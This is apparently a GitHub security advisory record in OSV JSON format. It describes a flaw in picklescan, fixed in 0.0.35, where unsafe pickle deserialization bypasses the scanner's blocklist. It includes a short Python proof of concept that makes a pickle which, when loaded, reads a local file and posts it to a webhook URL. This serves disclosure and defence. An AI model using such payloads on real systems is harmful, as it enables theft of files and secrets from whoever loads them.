1 line
3.4 KiB
JSON
1 line
3.4 KiB
JSON
{"schema_version":"1.9.0","id":"GHSA-9726-w42j-3qjr","published":"2026-01-08T17:25:35Z","modified":"2026-07-07T17:56:10.383893537Z","aliases":["CVE-2026-53872","PYSEC-2026-1787"],"summary":"picklescan has Arbitrary file read using `io.FileIO` ","details":"### Summary\nUnsafe pickle deserialization allows unauthenticated attackers to read arbitrary server files and perform SSRF. By chaining io.FileIO and urllib.request.urlopen, an attacker can bypass RCE-focused blocklists to exfiltrate sensitive data (example: /etc/passwd) to an external server.\n\n### Details\nThe application deserializes untrusted pickle data. While RCE keywords (os, exec) may be blocked, the exploit abuses standard library features:\n\n1. io.FileIO: Opens local files without using builtins.open.\n\n2. urllib.request.urlopen: Accepts the file object as an iterable body for a POST request.\n\n3. Data Exfiltration: The file content is streamed directly to an attacker-controlled URL during unpickling.\n\n### PoC\n\n```python\nimport pickle, io, urllib.request\n\nclass GetFile:\n def __reduce__(self):\n return (io.FileIO, ('/etc/hosts', 'r'))\n\nclass Exfiltrate:\n def __reduce__(self):\n return (urllib.request.urlopen, ('https://webhook.site/YOUR_UUID_HERE', GetFile()))\n\nwith open(\"bypass_http.pkl\", \"wb\") as f:\n pickle.dump(Exfiltrate(), f)\n```\n\n<img width=\"650\" height=\"114\" alt=\"Screenshot 2025-12-30 at 10 13 14 PM\" src=\"https://github.com/user-attachments/assets/4edf9640-80f6-4701-ae87-cff1079e2994\" />\n\n\n### Impact\n\n- Arbitrary file read\n\nThanks for this library and your time. If you think `picklescan` is focused on detecting only `RCE` kind of vulnerabilities rather adding `File IO`, `Http` or any protocol based may cause lot of noise, feel free to close this issue.","affected":[{"package":{"name":"picklescan","ecosystem":"PyPI","purl":"pkg:pypi/picklescan"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.35"}]}],"versions":["0.0.1","0.0.10","0.0.11","0.0.12","0.0.13","0.0.14","0.0.15","0.0.16","0.0.17","0.0.18","0.0.19","0.0.2","0.0.20","0.0.21","0.0.22","0.0.23","0.0.24","0.0.25","0.0.26","0.0.27","0.0.28","0.0.29","0.0.3","0.0.30","0.0.31","0.0.32","0.0.33","0.0.34","0.0.4","0.0.5","0.0.6","0.0.7","0.0.8","0.0.9"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/01/GHSA-9726-w42j-3qjr/GHSA-9726-w42j-3qjr.json"}}],"references":[{"type":"WEB","url":"https://github.com/mmaitre314/picklescan/security/advisories/GHSA-9726-w42j-3qjr"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-53872"},{"type":"WEB","url":"https://github.com/mmaitre314/picklescan/pull/55"},{"type":"WEB","url":"https://github.com/mmaitre314/picklescan/commit/a01c58d5dd7960db557b849817c0ab83ab111ef1"},{"type":"PACKAGE","url":"https://github.com/mmaitre314/picklescan"},{"type":"WEB","url":"https://github.com/mmaitre314/picklescan/releases/tag/v0.0.35"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/picklescan-arbitrary-file-read-via-unsafe-pickle-deserialization"}],"database_specific":{"cwe_ids":["CWE-22","CWE-918"],"github_reviewed":true,"github_reviewed_at":"2026-01-08T17:25:35Z","nvd_published_at":null,"severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P"}]} |